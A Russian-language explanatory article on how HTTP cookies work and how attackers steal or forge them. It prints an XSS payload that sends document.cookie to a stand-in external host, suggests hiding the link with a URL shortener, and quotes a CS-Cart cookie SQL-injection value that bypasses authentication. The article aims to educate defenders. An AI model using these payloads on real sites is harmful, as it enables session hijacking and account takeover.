Cookie – это небольшой фрагмент данных веб-сайта, который хранится в браузере пользователя. В дальнейшем cookies содержат все запросы, принадлежащие конкретной сессии. Некоторые cookies содержат особо важные данные сеанса, другие используются для отслеживания долговременных данных в истории браузера и являются наиболее важными. Иногда их применяют для отслеживания и мониторинга действий пользователя на различных веб-сайтах.
В связи с тем, что HTTP – это stateless-протокол, веб-сайт нуждается в применении аутентификации пользователя в каждом запросе. Каждый раз, когда пользователь посещает новую страницу сайта, браузер отправляет куки обратно на сервер. Благодаря идентификации сеансов сервер формирует корректные данные конкретного пользователя.
Из этого можно сделать вывод, что cookies, применяя несколько запросов HTTP на протяжении всего сеанса, обеспечивают сохранение данных.
Как выглядят cookies ?
Set-Cookie: __cfduid=d8a3ae94f81234321; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.domain.com; HttpOnly
Ниже можно увидеть пример куки, сгенерированных для WordPress. Мы разбили их на части, чтобы объяснить, как используется каждая из них:
- Set-Cookie – с помощью этой команды сервер отправляет запрос браузеру сохранить куки;
- __cfduid=d8a3ae94f81234321; — Это сам файл куки. В левой части его имя, а в правой – значение;
- expires=Mon, 23-Dec-2019 23:50:00 GMT; — это дата и время, когда куки исчезнут;
- path=/; domain=.domain.com; – домен куки и путь, который определяет объем файлов. Эта часть информирует браузер о том, что cookies должны быть отправлены на сервер для данного домена и пути;
- HttpOnly – этот атрибут сообщает браузеру, что JavaScript не может быть использован для доступа к куки, они могут быть доступны только через HTTP или HTTPS. Иногда можно увидеть атрибут «Secure», который предотвращает отправку куки файлов через незащищенный HTTP протокол.
Какой угрозе могут подвергаться cookies ?
Традиционная задача куки – хранить информацию о сессиях пользователя, которая используется для его идентификации. Если этот тип файлов будет взломан злоумышленниками, они получат доступ к веб-сайту на правах пользователя, которому принадлежат куки (т.е. злоумышленник получит доступ к вашей учетной записи в пределах сайта).
В случае отслеживания куки, злоумышленник получит доступ к вашей истории просмотров веб-сайта.
Другая проблема возникает, если в cookies хранятся конфиденциальные данные, например, имя пользователя. Это грозит неправомерной эксплуатацией и уязвимостью контента, в результате SQL инъекций или удаленного уничтожения кода.
Какие основные угрозы cookies ?
Существуют разные атакующие носители, которые могут получить доступ и модифицировать файлы cookies. Это может стать причиной взлома сессии или даже SQL атак сервера. Такие угрозы возникают, если атакующий контролирует использование веб-браузера с помощью Cross-site скриптов или специальных шпионских программ. Злоумышленник, который получил ID cookies пользователя, может использовать их для того, чтобы действовать от лица пользователя.
Получить доступ к куки можно с помощью следующей строки JavaScript:
document.cookie
Представьте, что веб-сайт имеет поисковую форму, которая является уязвимой для Cross-Site скриптинга.
http://myweb.com/form.php?search=XSS_PAYLOAD_HERE
Злоумышленник может использовать следующую комбинацию для отправки куки на внешний веб-сайт:
<script>location.href='http://external_website.com/cookiemonster.php?c00kie='+escape(document.cookie);</script>
Заключительный этап – отправить уязвимую ссылку администратору и ждать их, чтобы он нажал на нее. Если злоумышленник использует URL Shortener, это позволит в дальнейшем использовать URL, ведь администратор не может увидеть содержимое отправленной ссылки.
Злоумышленник может читать файлы от лица пользователя, а также может попытаться получить куки, которые хранятся в файлах системы. Некоторые браузеры хранят постоянные куки в двух файлах, поэтому их можно легко прочитать с помощью общедоступных инструментов.
Угроза нарушения безопасности также связана с сервером: когда cookies изменены, но процедура проверки доступа не проведена надлежащим образом. В приведенном ниже примере показано, как обойти процесс аутентификации:
//In /core/user.php: (cs cart vulnerability)
if (fn_get_cookie(AREA_NAME . '_user_id')) {
$udata = db_get_row("SELECT user_id, user_type, tax_exempt, last_login, membership_status, membership_id FROM $db_tables[users]
WHERE user_id='".fn_get_cookies(AREA_NAME . '_user_id')."' AND password='".fn_get_cookie(AREA_NAME . '_password')."'");
fn_define('LOGGED_VIA_COOKIE', true);
}
//Cookie: cs_cookies[customer_user_id]=1'/*;
Cookies очень важны и могут быть использованы для различных атак. А сейчас, когда вы более осведомлены об возможных опасностях, целесообразно будет обеспечить безопасное и надежное их использование.